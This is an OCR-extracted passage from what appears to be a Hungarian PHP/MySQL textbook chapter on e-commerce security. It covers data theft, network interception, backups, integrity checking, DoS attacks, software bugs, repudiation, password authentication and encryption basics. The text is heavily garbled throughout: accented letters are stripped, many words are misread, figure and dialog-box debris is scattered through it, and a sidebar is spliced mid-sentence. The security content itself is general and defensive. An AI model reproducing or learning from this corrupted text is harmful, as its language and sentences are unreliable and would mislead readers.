a rendszer ltja, kitl rkezik a krs,el tudja dnteni,hogy az adott felhasznl jogosult-e a hozzfrsre. Sokfle hitelestsi
mdszer kzl vlaszthatunk,de jellemzen kr fajtja szokott a nyilvnos weboldalakon elfordulni: a jelsz s a digirlis
alrs. A fejezet egy ksbbi rszben mindketrrl rszletesebben olvashatunk.
A CD Universe esete j plda arra, milyen kvetkezmnyekkel jr- dollrban s hrnvben mrve-,ha egy cg engedi,hogy
bizalmas informcikar lopjanak tle. Egy magt Maxusnak nevez szemly 1999-ben kapcsolatba lpett a CD Universe-zel
azt lltva,hogy 300 OOO hitelkrtya adatt lopra el a cg weboldalrL 100 OOO dollrt kvetelt az adatok megsemmisrsrr.
A cg visszautastotta az ajnlatot,s hamarosan a legnpszerbb jsgok cmlapjn rallca magr, mivel Maxus szroszrorta
a krtyaszmokar,hogy msok visszaljenek vele.
Az adatok akkor is kockzatnak vannak kitve,amikor hlzaron haladnak keresztl. Br a TCP /IP hlzatok szmralan
remek tulajdonsggal brnak,amelyeknek ksznheren lnyegben a klnbz hlzatok internetknt val sszekapcsoll Ha jelenleg hasznljuk az rep-e, akkor is rdemes elrvolrani s az scp-r {biztonsgos msols) hasznlni helyette.

Az e-kereskedelem biztonsgi krdsei

233

snak szabvnyv vltak, a biztonsg- sajnos- nem tartozik ezek kz. A TCP /IP gy mkdik, hogy csomagokra bonga
fel az adatokat, majd gprl gpre tovbbtja ezeket a csomagokat, amg mind el nem rik a clllomsukat. Ez azt jelenti, hogy
adataink tjuk sorn tbb gpen is keresztlhaladnak, ahogy ezt a 15.1 bra is mucatja. Kzlk brmelyik gp.megcekintheti"
a rajta keresztlhalad adatainkat.

------------------,

Ih

Forrs

l
l

1
l

Cl

L-------------------

Az internet

15.1 bra:

Az informci interneten keresztli tovbbtsa potencilisan megbzhatatlan gpek


sokasgn keresztl kldi az adatokat.

Ha ltni szeretnnk, hogy milyen tvonalon jut el tlnk az adat egy adott gpre, a

traceroute

parancsot kell hasznl

nunk (Unix gpen). A parancs eredmnyekppen megkapjuk azon gpek cmt, amelyeken az adat keresztlmegy, amg elr
a clhoz. Ha ez sajt orszgunkon bell van, akkor az adat tlagosan gy tz klnbz gpen megy keresztl. Ha a cl egy
klfldi gp, az tkzben rintettek szma a hszar is meghaladhaga. Amennyiben szervezetnk nagy s sszetett hlzattal
rendelkezik, az adat akr t gpet is rinthet, mieltt elhagyn az pletet.
A bizalmas informcikat vdend titkosthatjuk azokat, mieltt a hlzaton elindulnak. Ekkor az tvonal vgn vissza
kell fejteni a titkostott llomnyokat. A webszerverek erre gyakran a Netscape ltal kifejlesztett Secure Sockets Layer (SSL)
protokollt hasznljk, ha az adatok kztk s bngszk kztt utaznak. Viszonylag alacsony kltsg, kevs erfesztssel jr
mdja ez az adattvitel biztonsgoss ttelnek, m mivel kiszolglnknak egyszer adatklds s -fogads helyett titkostania
s visszafejtenie is szksges az adatokat, a szerver ltal msodpercenknt kiszolglhat ltogatk szmt jelents mrtkben
cskkenti.

Adatveszts vagy ,rongls

l"

Az adatveszts akr kltsgesebb is lehet, mint ha valaki egyszeren megszerezn azt. Ha hnapokat dolgoztunk oldalunk
fejlesztsn, a felhasznli adatok s megrendelsek sszegyjtsn, vajon mennyibe kerlne az idben, hrnvben s pnzben
kifejezve, ha mindezen adatokat elvesztennk? Ha nem rendelkeznnk biztonsgi mentssel minden adatunkrl, akkor nagy
sietve, a semmibl indulva kellene jra megrnunk weboldalunkat. Elgededen gyfelek tmkelegr tudhatnnk magunknak,
s olyan csalkkal tallkoznnk, akik azt llitjk, hogy rendeltek valamit, de nem kaptk meg.
Megeshet, hogy crackerek

egyszer betrnek a rendszernkbe, s formzzk merevlemeznket. Az is igen valszn, hogy


egyszer vletlenl kitrl valamit, de az majdnem biztos, hogy egyszer tnk

egy figyelmeden programoz vagy rendszergazda

remegy egy merevlemeznk. A merevlemezek percenknt tbb ezer fordulatot tesznek meg, s olykor elromlanak. Murphy
trvnye pedig kimon<lja, hogy minden bizonnyal a legfontosabb merevlemez lesz az, amirl j rgen nem ksztettnk biz
tonsgi mentst.
Szmtalan klnbz intzkedssei cskkenthegk az adatveszts eslyt. Vdjk kiszolglinkat a crackerek ellen! A lehe
t legnagyobb mrtkben korltozzuk a szmtgpeinkhez hozzfr alkalmazottak szmt! Csak hozzrt, gondos szakem

berekkel dolgozzunk! Vsroljunk j minsg merevlemezeket! Hasznljuk a RAID ( Redundant Array of Inexpensive Disks
-olcs lemezek redundns tmbje) technolgit, ami lehetv teszi, hogy tbb merevlemez mkdjk egyeden gyorsabb,
megbzhatbb merevlemezknt!
Mindegy, hogy mi az adatveszts oka, egyeden igazi vdelem ltezik ellene: a biztonsgi ments. A biztonsgi mentsek
ksztse nem rtudomny. ppen ellenkezleg: unalmas, fraszt s- remnyeink szerint - haszontalan foglalatossg, ami
ugyanakkor letbevgan fontos. Gondoskodjunk arrl, hogy adatainkrl rendszeres biztonsgi mentsek kszljenek, s ne
felejtsk el letesztelni a biztonsgi ments ksztsnek folyamatt, hogy az gy kapott adatok helyrelltsa biztostott legyen!
gyeljnk, hogy a biztonsgi mentseket a szmitgpeinktl tvol troljuk! Br elg kicsi az eslye, hogy irodnk leg, vagy
valarnilyen termszeti katasztrfa nyomn teljesen tnkremegy, a biztonsgi mentsek fizikailag ms helyen trolsa semmibe
nem kerl vintzkeds.

15

234

15. fejezet

Adatmdosts
Mr az adatveszts is hatalmas krokat okozhat, adataink mdostsa azonban mg ennl is rosszabb lehet. Kpzeljk el, hogy
valaki hozzfrst szerzett rendszernkhz,s mdostotta fjljainkarl Egy teljes kr trlst minden bizonnyal szrevesznk,
s a biztonsgi mentsbl helyrelltharjuk a trlt llomnyokat, de vajon meddig tart, amg a mdostsokat szrevesszk?
Ilyen mdostsok az adatfjlokat s a futtathat fjlokat egyarnt rinthetik. A crackerek olyan cllal mdosthatnak adat
fjlt, hogy megvltoztassk oldalunk megjelenst, vagy csalssal elnyhz juttassk sajt magukat. A futtathat fjlok sznd
kosan megronglt vltozatokra cserlsvel az egyszer mr hozzfrst szerz cracker titkos hts ajthoz (backdoor) juthat,
vagy magasabb szint rendszerjogosultsgokat oszthat ki sajt magnak.
A hlzaton thalad adatokat ellenrz sszeg (signature) hasznlatval vdhetjk a mdostsoktl. Ez a megkzelts
nem akadlyozza ugyan meg, hogy valaki mdostsa az adatot, de ha a fogad fl a fjl megrkezsekor ellenrzi, hogy az alrs
mg mindig stimmel-e, meg tudja llaptani, ha a fjlt mdostottk. Ha adatainkat titkostssal vdjk a jogosulatlan megte
kintstl, az alrs hasznlatval igencsak megneheztjk azt, hogy valaki tkzben szrevtlenl mdosthassa azokat.
A kiszolgln trolt fjlok mdostsok elleni vdelmhez opercis rendszernk fjljogosultsgait kell hasznlni,illetve
vdennk kell rendszernket a jogosulatlan hozzfrstL A fjljogosultsgok lehetv teszik,hogy felhasznlink hasznl
hassk a rendszert, de ne kapjanak szabad kezet a rendszerf:ijlok vagy ms felhasznlk llomnyainak megvltoztatshoz.
A megfelel jogosultsgi rendszer hinya az egyik oka annak, hogy a Windows 95, 98 s ME soha nem voltak igazn alkalma
sak kiszolgl opercis rendszernek.
A mdostsokat gyakran igen nehz szrevenni. Ha brmikor rjvnk,hogy rendszernk biztonsga srlt, honnan fogjuk
tudni,hogy a fontos fjlokat megvltoztattk-e? Vannak olyan fjlok- pldul az adatbzisunkat trol adatllomnyok -,ame
lyek rendeltetsszer hasznlat esetn is idrl-idre vltoznak. Ms f:ijloknak pedig a telepts utn rnindaddig vltozatlannak
kell maradniuk,amg szndkosan nem frisstjk ket. A prograrnak s az adatok mdostsa is alattomos dolog tud lenni,de mg
a programokat a mdosts gyanja esetn jratelepthetjk,abban nem lehetnk biztosak, hogy az adatok melyik verzija"tiszt:
A fjlok integritst ellenrz szoftverek, mint amilyen pldul a Tripwire is, feljegyzik a fontos fjlok tudottan biztonsgos
- pldul kzvetlenl a telepts utni- llapotnak informciit, gy ezeket ksbb felhasznlhatjuk annak megllaptsra,
hogy vltozatlanok maradrak-e ezek az llomnyok. A program fizets s bizonyos felttelek mellett ingyenes verziit a http:/ l
www.tripwire.com oldalrl tlthetjk le.

Denial of Service tmads


Az egyik legnehezebben kivdhet fenyegets a szolgltatsmegtagadssal jr tmads, az gynevezett

Denial of Service (DoS)

tmads. Szolgltarsmegtagads akkor kvetkezik be, ha valaki a cselekedeteivel megnehezti vagy lehetetlenn teszi a felhasz
nlk szmra, hogy hozzfrjenek egy szolgltatshoz, vagy kslelteti idkritikus szolgltatshoz val hozzfrsket.

15

A 2000-es vek elejn megosztott szolgltatsmegtagadssal

(DDoS) jr tmadsok tmkelegr inditottk nagy forgalm

oldalak ellen. A clpontok kz tartozott a Yahoo!, az eBay, az Amazon, az E-Trade s a Buy.com. Ezek az oldalak olyan ltoga
tottsgi szintekhez vannak hozzszokva, amilyenekrl mi nem is igen lmodhatu nk, de DoS-rmadssal mg ezeket is rkra
elrhetetlenn lehet tenni. Br a eraeketeknek anyagi elnyk ltalban nem szrmazik egy weboldal tlterhelsbl, az oldal
zemeltetje jelents veszresggel szembeslhet gy anyagiakban, mint a hrnevt illeten.
Lteznek olyan oldalak, amelyek jl meghatrozhat idszakban bonyoltjk forgalmuk jelents rszt. Az online fogad
oldalak irnti rdeklds jelentsen megugrik kzvetlenl a nagy sportesemnyek eltt. Az egyik alkalom, amikor a crackerek
megprblrak D DoS-tmadsbl pnzt csinlni, 2004-ben volt: online fogadirodkat zsaroltak meg azzal, hogy a legforgal
masabb idszakban fogjk tmadni ket.
Az ilyen tmadsok elleni vdelem nehzsgt egyrszt az okozza, hogy szmtalan klnbz mdon kivitelezhetk.
A szba jhet mdszerek kz tartozik olyan program teleptse a clgpre, amely a rendszer processzoridejnek nagy rszt

lefoglalja, a reverse spam s az automatizlt eszkzk hasznlata. A reverse spam olyan levlszemt kikldsr jelenti, amelyben
a clpont szerepel feladkn t. Az rtatlan clpont gy dhdt levlrk ezreinek kldemnyvel lesz knytelen megbirkzni.
Automatizlt eszkzk is lteznek megosztott DoS-tmadsok indtsra. Klnsebb tuds nlkl is brki megteheti,
hogy ismert sebezhetsgek utn kutatva rengeteg gpet megvizsgl, betr egy nem megfelelen vdett gpbe,majd telepti az
eszkzt. Automatizlt folyamatrl lvn sz, a tmad akr gpenknt t msodperc alatt teleptheti az eszkzt. Elegend sz
m gp beszervezse utn mindegyiket utastja, hogy hlzati forgalommal rasszk el a clt.
A DoS-tmadsok elleni vdekezs nem egyszer dolog. Kis kutatmunkval kiderthetjk, hogy mely alaprtelmezett
portokat hasznljk a gyakori D DoS-eszkzk, s zrjuk be ezeket! Routernk kpes lehet az adott protokollokat (pldul
ICMP) hasznl forgalom szzalkos mrtknek korltozsra. Knnyebb hlzatunkon bell olyan gpeket szrevenni,
amelyeket msik gpek tmadsra hasznlnak, mint megvdeni szmtgpeinket a tmads ellen. Ha rninden hlzati rend
szergazda megbzhat mdon felgyeln sajt hlzatt,a D DoS egyltaln nem jelentene problmt.

Az e-kereskedelem biztonsgi krdsei

235

A szmtalan lehetsges tmadsi mdszer miatt az egyetlen igazn hatkony vdelem a szoksos forgalomviselkeds figye
lse s olyan szakrti csapat fenntartsa, amely az abnormlis szirucik bekvetkezse esetn azonnal megteheti a szksges
inrzkedseket.

Szoftverhibk
A szaftverekben - akr vsroltuk, szereztk vagy mi magunk rtuk - komoly hibk lehetnek. A webes projektekre jellemz
rvid fejlesztsi id jelentsen megnveli az ilyen hibk eslyt. A hibs szoftverek a szmtgpes folyamatokra nagy mrtk
ben tmaszkod vllalkozsokat sebezhetv teszik.
A szaftverekben rejl hibk olyan, elre nem lthat helyzetekhez vezethetnek, mint a szolgltats elrhetetlensge, bizton
sgi incidensek, pnzgyi vesztesg vagy alacsony sznvonal gyflkiszolgls.
A leggyakoribb hibaokok kz a pontatlan specifikcik, a fejlesztk hibs feltevsei s a nem megfelel tesztels tartozik.

Pontatlan specifikcik
Minl felletesebb s minl flrerthetbb a tervdokumentci, annl valsznbb, hogy hibkat fogunk tallni a vgtermk
ben. Akrmennyire feleslegesnek is tnik kiktni azt, hogy az gyfl hitelkrtyjnak elutastsa esetn a megrendelst nem
szabad kikldeni, egy nagy kltsgvetssei mkd oldalnl elkvettk ezt a hibt. Minl kevesebb tapasztalattal rendelkeznek
a fejlesztk az ltalunk ltrehozni kvnt rendszertpusban, annl pontosabb specifikcikat kell adnunk.

Fejlesztk hibsJeltevsei
A rendszer tervezinek s fejlesztinek szmos feltevssel kell lnik. Termszetesen abban remnykednk, hogy megfelelen
dokumentljk ezeket, s az esetek tbbsgben igazuk lesz. Elfordul azonban olyan is, hogy az emberek hibs felttelezseket
tesznek. Pldul felttelezik, hogy a beviteli adatok rvnyesek lesznek, nem tartalmaznak klnleges karaktereket, vagy adott
mrernl kisebbek lesznek. Idztssei kapcsolatos feltevsek is lehetsgesek, pldul, hogy kt egymssal tkz mvelet egyide
jsgnek a valsznsge csekly, vagy az, hogy egy sszetett feladat feldolgozsa mindig tovbb tart, mint egy egyszer feladat.
Az ilyen felttelezsek azrt csszhatnak t, mert az esetek tbbsgben igazak. Egy cracker azonban kihasznlhatja azokat
a puffertlcsordulsokat, amelyek azrt kveteznek be, mert a programoz hibsan felttelezte a beviteli adat maximlis hosz
szc. Vagy egy szablyosan eljr felhasznl azrt kaphat hibazenetet, s azrt hagyja ott az oldalunkat, mert a fejlesztk nem
gondoltak arra, hogy szemlynvben lehet aposztrf. Az ilyen jelleg hibkat megfelel tesztelssei s a kd kellen rszleres
tvizsglsval megtallhatjuk s kijavthatj uk.
A crackerek ltal a korbbi idszakokban kihasznlt opercisrendszer- vagy alkalmazsszint gyengesgek ltalban
a puffertlcsordulssal vagy a verseny diktlta tl gyors fejlesztsekkel lltak sszefggsben.

Nem megfelel tesztels


Az sszes lehetsges beviteli adat, az sszes lehetsges hardvertpus, az sszes lehetsges opercis rendszer sszes lehetsges
felhasznli belltssal val tesztelse ritkn megvalsthat. Ez a szekottnl is nagyobb mrtkben igaz a webalap rendsze
rek esetben.
Olyan jl elksztett tesztdsi tervre van szksg, amely a gyakori gptpusok reprezentatv mint:ijn teszteli szaftvernk
sszes funkcijt. Egy jl megtervezett tesztsorozat projektnk k<ljnak minden sort legalbb egyszer ellenrzi. Idelis eset
ben mindez automatizlt, gy a kvlasztott tesztgpeken minimlis erfesztssel lefuttathat.
A tesztels legnagyobb baja, hogy unalmas s monoton feladat. Br vannak, akik lvezik, ha feltrhetnek valamit, kevesen
vannak, akik szeretik jra meg jra ugyanazt feltrni. Fontos, hogy ne csak a fejlesztket vonjuk be, hiszen a tesztels egyik leg
fbb clja, hogy fny derljn a fejlesztk hibs feltevseire. A projekthe friss detekkel rkez kls szemlyek j esllyel ms
milyen feltevsekkel fognak lni. Radsul a profik jellemzerr nem gnek a vgyrl, hogy hibt keressenek sajt munkjukban.

Letagads
Az utols kockzati lehetsg, amivel foglalkozunk, a letagads (repudiation). Akkor kvetkezik be, ha a tranzakciban szerep
l egyik fl letaga<lja rszvtelt. Az e-kereskedelem terletrl olyan idevg pldkat emlthetnk, mint amikor valaki rendel
valamic egy weboldalrl, majd letagadja, hogy felhatalmazst adott hitelkrtyja megterhelsre. Vagy, amikor valaki e-mailben
beleegyezik valamibe, majd azt lltja, hogy valaki ms hamistotta azt a levelet.

15

236

15. fejezet

Idelis esetben a pnzgyi tranzakcik a leragadharatlansg biztonsgt knljk nndkr flnek. Egyikk sem rudja leragad
ni rszvtelt a tranzakciban, pontosabban nndkt fl hitelt rdemlen bizonytani ruclja harmadik szemly, pldul brsg
eltt a msik fl tettt. A gyakorlatban azonban ritkn ez a helyzet.
A felhasznli hitelests valamilyen mrtk bizonyossgat ad a msik flrL A megbizhat szervezet ltal kiadott digitlis
tanstvnyok tovbb fokozhatjk a bizalmat.
A felek ltal kldtt zeneteknek manipulcibiztosnak kell lennik. Nem sok hasznt vehetjk annak, ha bizonytani
tudjuk, hogy a Kukuryin Bt. zenetet kldtt neknk, de arra nincsen bizonytkunk, hogy amit megkaptunk, az pontosan
megegyezik azzal, amit a cg elkldtt. Mint mr emltettk, az zenetek alrsa vagy titkostsa megnehezti az szrevtlen
mdostsukat.
Folyamatos kapcsolarban lv zletfelek kztti tranzakcik esetn a digirlis tanstvnyok s a titkostott vagy alrt kom
munikci hatkony mdja a letagadhatsg korltozsnak. Egyszeri tranzakciknl, pldul egy e-kereskedelmi oldal s egy
hitelkrtyval fizet, j vsrl kztti els kapcsolatfelvtel esetn azonban ezek nem annyira praktikusak.
Egy e-kereskedelemmel foglalkoz vllalat minden bizonnyal hajland azonossgnak bizonytsra, s nnden gond nlkl
kifizet nhny szz dollrt egy olyan tanstvnykibocstnak, mint a VeriSign (http://www.verisign.com/) vagy a Thawte
(http://www.thawte.com/), hogy megerstse a ltogatkban a cg j hirnevt. Ugyanennek a vllalatnak akkor el kellene
utastania minden olyan gyfelet, aki nem hajland ugyanezzel a mdszerrel bizonytani azonossgt? Kis rtk tranzakcik
esetben a kereskedk inkbb hajlandak elviselni a csals vagy letagads bizonyos szint kockzatt, minthogy elvesztsenek
egy zleti lehetsget.

Hasznlhatsg, teljestmny, kltsg s biztonsg


Az internet jellegbl addan veszlyes. Kialaktsa lehetv teszi, hogy tbb nvtelen felhasznl intzzen szolgltatsi k
rseket a gpnkhz. Ezek tbbsge teljesen szablyos, weboldalak letltsre vonatkoz krs, de szmtgpeink internethez
csatlakoztarsval azt is lehetv tesszk az embereknek, hogy msfle kapcsoldsi tpusokat ksreljenek meg.
Br azt gondolhatnnk, hogy nndig a lehet legmagasabb szint biztonsg a kvnatos, ez nem felttlenl igaz. Ha teljes
biztonsgra van szksgnk, akkor kapcsoljuk k szntgpeinket, hzzuk ki a hlzatbl, s helyezzk ket egy szfbel Sz
mtgpeink elrhetsge s hasznlhatsga azt kveteli meg, hogy bizonyos mrtkben laztsunk a biztonsgon.
A biztonsg, hasznlhatsg, kltsg s teljestmny kztt szksgszeren tvlts ll fenn. Ha korltozzuk a felhasznlk
lehetsgeit, vagy azonostsra szltjuk fel ket, hogy ezzel biztonsgosabb tegynk valamely szolgltatst, akkor egyttal
annak hasznlhatsgt is cskkentjk. A biztonsg erstse szmitgpeink teljestmnyt is visszavetheti. A rendszernket
biztonsgosabb tev szoftver - pldul titkosts, behatolsmegelz rendszer, vruskeres vagy teljes kr naplzs-futta
tsa erforrsokat ignyel. A titkostott munkamenet (session)- pldul az SSL-kapcsolat egy weboldalhoz-a hagyomnyos

15

kapcsolaml nagyobb processzorteljestmnyt ignyel. Ezeket a teljestmnybeli vesztesgeket gyorsabb gpek vagy kifejezetten
titkosts cljra kialaktott hardver beszerzsvel ellenslyozhatjuk. Ez termszetesen nveli kltsgeinket.
A teljestmnye, hasznlhatsgot, kltsget s biztonsgot tekinthetjk egymssal versenyz cloknak. Tanulmnyozni kell
a kztk fennll tvltsokat, s megfelel dntseket hozva kell kompronsszumra jutni. A vdeni kvnt informcikrl,
pnztrcnktl, a kiszolglni tervezett ltogatk szmtl s a szablyosan eljr felhasznlk ltal mg elviselhetnek tlr
biztonsgi intzkedsek mrtktl fggen kell megtallni a fenti clok kztti egyenslyi llapotot.

Biztonsgi hzirend ltrehozsa


A biztonsgi hzirend olyan dokumentum, amely az albbiakat hatrozza meg:
A szervezet biztonsggal kapcsolatos, ltalnos filozfija
A vdeni kvnt elemek - szoftver, hardver, adat
Az ezek vdelmrt felels szemlyek
A biztonsg szabvnyai s a mreszkzk, amelyek e szabvnyok teljestsnek mrtkt hatrozzk meg
A biztonsgi hzirend ltrehozsa a szoftverek mkdsi kvetelmnyeinek megrshoz hasonl. A hzirendnek nem szk
sges a konkrt megvalstssal vagy megoldsokkal foglalkoznia: a krnyezetnk ltal megfogalmazott clokat s biztonsgi
elvrsokat kell tartalmaznia. Nem j, ha tl gyakran frissteni kell.
Kln dokumentumban kell szablyozni a biztonsgi hzirend elvrsainak teljestst clz irnyelveket. Ebben a doku
mentumban klnbz irnyelveket fogalmazhatunk meg szervezetnk klnbz egysgeinek. gy lehet ezt elkpzelni, mint
egy tervdokumentumot vagy eljrsi kziknyvet, ami az elvrt biztonsgi szint garantlshoz szksges konkrt lpseket
szablyozza.

Az e-kereskedelem bizronsgi krdsei

237

A felhasznli hitelests alapelvei


AJelhasznli hitelests (authentication) megksrli bizonytani, hogy valaki tnyleg az, akinek mondja magt. A hitelestse
tbbflekppen megvalsthacjuk, de mint a biztonsgi intzkedsek cbbsgnl, itt is igaz, hogy minl biztonsgosabb a kiv
lasztott mdszer, annl krlmnyesebb hasznlni.
A hitelestsi mdszerek jelszavakat, digitlis alrsokat, biometrikus ellenrzseket- pldul ujjlenyomat-leolvasst-,
illetve hardvereszkzket- pldul smart krtykat - hasznl ellenrzseket folyeaenak le. Az interneten ezek kzl csak kt
mdszer, a jelszavak s a digitlis alrsok hasznlata terjede el.
A biomecrikus ellenrzs s a hardveres megoldsok tbbsge egyedi beviteli eszkzket ignyel, gy az ezekkel felszerelt
specilis szmirgpek hasznlatra korltozn a felhasznlkat. Ez megfelel, st akr kvnatos is lehet egy szervezet bels
rendszereihez val hozzfrs esetn, de ltaluk elveszne a rendszer interneten keresztli elrhetsgbl add elnyk nagy
rsze.
A jelszavak egyszeren megvalsthat s hasznlhat, klnleges beviteli eszkzt nem ignyl felhasznli hitelestse tesz
nek lehetv. Bizonyos szint azonostst garantlnak, m nagyfok biztonsgot ignyl rendszerekhez nem elgsgesek.
A jelsz egyszeren mkdik. Mi magunk s a rendszer tudja a jelszt. Ha egy ltogat magunknak adja ki magt, s tudja
jelszavunkat, akkor a rendszer jogosan felttelezi, hogy mi vagyunk ez a ltogat. Feltve, hogy senk ms nem ismeri s nem
tudja kitallni a jelszt, a rendszer biztonsgos. Mindazonlcal a jelszavak hasznlata szmos potencilis gyengesget hordoz
magban, nmagukban nem alkalmasak ers felhasznli azonostsra.
Rengeteg knnyen kitallhat jelsz ltezik. Ha megengedjk a felhasznlknak, hogy sajt maguk hatrozzk meg jelsza
vukat, nagyjbl minden msodik knnyen kcallhat jelszt vlaszr. Elssorban a sztri szavakat vagy a felhasznli nvvel
megegyez jelszt kell itt megemltennk. A hasznlhacsg olern ldozva ktelezhetjk a felhasznlkat arra, hogy jelszava
ik szmokat s klnleges karaktereket is tartalmazzanak.
rdemes tovbb tjkoztatni a felhasznlinkac, hogyan vlasszanak maguknak biztonsgosabb jelszc, de nntegy 25
szzalkuk mg ebben az esetben is knnyen kcallhac jelszt vlaszt. Knnyen kitallhat jelszavak hasznlatt gy tudjuk
megakadlyozni, ha az j jelszavakac sszehasonltjuk a sztri szavakkal, vagy megkveteljk bennk szmok vagy klnleges
karakterek vagy kis- s nagybeck hasznla tt. A jelszavakta vonatkoz szigor szablyok veszlye, hogy szmos, szablysze
ren eljr felhasznl nem fogja tudni megjegyezni a jelszavt. Klnsen akkor, ha a klnbz rendszerek eltr szablyok
betartst krik tlk jelszavaik lcrehozsakor.
A nehezen megjegyezhet jelszavak nvelik annak valsznsgc, hogy a felhasznlk olyan, nem biztonsgos lpshez fo
lyamodnak, mint hogy felhasznli nevket s jelszavukat felrjk egy ntapads jegyzeccdulra, amit annak rendje s mdja
szerint kiragaszeanak monicorukta. A felhasznlknak el kell mondani, hogy soha ne rjk le jelszavaikat, s soha ne tegyenek
pldul olyan butasgot, hogy megadjk jelszavukat a telefonban egy olyan szemlynek, aki azt lltja, hogy a rendszeren dolgo
zik.
A jelszavakat elektronikusan is meg lehet szerezni. A crackerek billentyletseket figyel program futtatsval vagy a hl
zati forgalmac csomagfigyel (packec sniffer) segtsgvel megvizsglva kpesek - s szaktak is - felhasznli nv-jelsz pro
kat szerezni. A jelszavak ilyetn ellopsnak Iehetsgc a hlzari forgalom titkostsval lehet korlcozni.
A jelszavak minden potencilis hibjuk ellenre egyszer s viszonylag hatkony mdszert knlnak felhasznlink ellen
rzsre. Az ltaluk knlc biztonsgi szinc nem feledenl felel meg a nemzetvdelem szmra, de idelis- mondjuk- arra,
hogy ellenrizzk egy gyflrendels Iciszlltsi llapott.
A hitelestsi mechanizmusok a npszerbb bngszkbe s webszerverekbe be vannak ptve. A webszerver pldul fel
hasznli nevet s jelszt krhec azoktl a szemlyekcl, akik a kiszolgl adort knyvtraiban lv fjlokta vonatkoz krst
intznek. Felhasznli nv s jelsz krse esecn bngsznk a 15.2 brn lthat prbeszdablakhoz hasonlt jelenthec meg.

Entn-usemameoddfor"Dft'Aiu"
UsetN1me

ll
PMSWOrd:

Usi!! Peuword MaMget ta remBnba' this p!IHWOI'd.

L-ewJ

15.2 bra: A bngszk Jelhasznli nevet s jelszt krnek a kiszolgl vdett knyvtrt Jelkeresni kvnJelhasznlktl.

15

238

15. fejezer

Az Apache webszerver s a Microsoft IlS is lehetv teszi, hogy honlapunk egszt vagy rszeit igen egyszeren megvdjk
ezzel a mdszerrel. PHP vagy MySQL hasznlatval is elrhetjk ugyanezt az eredmnyr. A MySQL hasznlata gyorsabb,
mint a beptett hitelests. PHP segtsgvel rugalmasabb ellenrzst mkdtethetnk, vagy a felhasznl szempontjbl
tetszetsebb mdon llharunk el az ellenrzsre vonatkoz krssel.
Vonatkoz pldkkal a

Hitelests megvalstsa PHP-vel s MySQL-lel cm 17. fejezetben tallkozunk majd.

A titkosts alapjai
A titkostsi algoritmus (encryprion algorithm) matematikai eljrs az informci ltszlag vletlenszer karaktersorr alakt
sra. A kiindul adarot szoks egyszer szvegnek (plain text) nevezni, br a folyamar szempontjbl nincsen jelentsge an
nak, hogy mit tartalmaz az informci - tnylegesen szveget vagy ms adatot. A titkostott informcit titkostott szvegnek
(ciphertext) nevezzk, noha legkevsb szakott szvegnek ltszani. A 15.3 brn a titkosts egyszer folyamatbrjt lthat
juk. Az egyszer szveget beadjuk egy titkosr motornak, amely rgebben mechanikus eszkz volt, mint pldul a Il. vilgh
borban hasznlt Enigma, ma azonban szinte kivtel nlkl szmtgpes program. A moror titkosrott szveget llt el.

Titkost
algoritmus

15.3 bra: A

titkosts fogja az egyszer szveget, s ltszlag vletlenszer karaktersorbl ll,


titkostott szvegg alaka.

A 15.2 brn lthat ellenrzsi prbeszdablakot hasznl vdett knyvtr ltrehozshoz az Apache legegyszerbb el
lenrzsi mdszert hasznltuk. (Mkdst a kvetkez fejezetben mutatjuk be.) Ez trolsuk eltt titkosrja a jelszavakat.
Ltrehoztunk egy felhasznlt, aknek jelszava j els z o; az Apache titkosrotta, majd aWDuA3X3H. me 2-knt eleroita ezt.
Lthat, hogy az egyszer s a titkostott szveg kztt semmi szemmel lthat hasonlsg nincsen.
Ez a titkostsi mdszer nem visszafordthat. Rengeteg jelszt trolnak egyirny titkostsi algoritmussal. A felhasznl
ltal bevitt jelsz ellenrzshez nem szksges visszafejteni az eltrolt jelszt. Ehelyett

rendszer titkosrja a bejelentkezsi

kisrletnl megadott jelszt, s sszehasonltja az eredeti titkostott vltozatval.


Nem az sszes, de sok ritkosrsi folyamat visszafordthat. A fordrott folyamatot

visszafejtsnek (decryprion) nevezzk.

A 15.4 brn a ktirny titkostsi folyamarot lthatjuk.

15

15.4 bra: A

titkosts fogja az egyszer szveget, s ltszlag vletlenszer karaktersorbl ll, titkostott szvegg
alaka. A visszafejts a titkostott szvegbl indul ki, azt alaka vissza egyszer szvegg.

A ritkosrs (kriptogrfia) majdnem 4000 ves, de nagykorsgt csak a Il. vilghbor idejn rte el. Azta a szmtgpes
hlzatok elterjedshez hasonl utat jrt be: elszr a katonasgnl s a pnzgyi szervezeteknl, majd az 1970-es vektl
kezdve egyre szlesebb krben alkalmaztk. gy a kilencvenes vekben mr szinte minden terleten megtallhat volt. Rgeb
ben az tlagember csak II. vilghbors filmekben s kmregnyekben tallkozott titkosrssal, m az elmlt vekben mr az
jsgcikkekben is olvashattunk rla, s nap mint nap hasznlja mindenki, ak az interneten vsrol.
Szmtalan klnbz titkostsi algoritmus ltezik. Van olyan, pldul a DES, amelyik titkos (privt) kulcsot hasznl; m
sok, pldul az RSA, nyilvnos kulcs s kln privt kulcs segtsgvel mkdnek.

Az e-kereskedelem biztonsgi krdsei

239

Privt kulcs titkosts


A privt - ms nven titkos- kulcs titkosts azon alapul, hogy feljogostott szemlyek ismernek egy kulcsot, vagy hozzfr
nek. Ezt a kulcsot titokban kell tartani. Amennyibe illetktelenek kezbe kerl, jogosulatlan szemlyek is olvasni tudjk titkos
tott zeneteinket. Ahogy a15.4 brn ltszik, a kld (aki titkosrja az zenetet) s a fogad (aki visszafejti azt) is ugyanazzal
a kulccsal rendelkezik.
A legszlesebb krben hasznlt privt kulcs algoritmus a Data Encryption Standard (DES- Adattitkosts-szabvny). Ezt
a mdszert az IBM fejlesztette ki a hetvenes vekben, s az zleti s nyilvnos kormnyzati kommunikci amerikai szabv
nyv vlt. A szmtsi sebessg azonban napjainkban mr nagysgrendekkel gyorsabb, mint 1970-ben volt, gy a DES krl
bell1998 ta hasznlaton kvl van.
Az egyb, jl ismert titkos kulcs rendszerek kz az RC2, az RC4, az RC5, a Triple DES s az IDEA tartozik. A Triple
DES igen biztonsgos. Ugyanazt az algoritmust hasznlja, mint a DES, de hrom klnbz kulccsal hromszor alkalmazza.
Az egyszer szveget az egyes kulccsal titkosrja, a kettes kulccsal visszafej ti, m:lJd a hrmas kulccsal megint titkostja.

Megjegyzs: Furcsnak tnhet, de a Triple DES ktszer olyan biztonsgos, mint a DES. Ha hromszor ersebb-vdelemre
lenne szksgnk, programot kellene rnunk r, vagy tszrs DES-algoritmust kellene megvalstanunk.
A titkos kulcs titkosts egyik nyilvnval problmja, hogy biztonsgos zenet kldshez biztonsgos mdszerre van

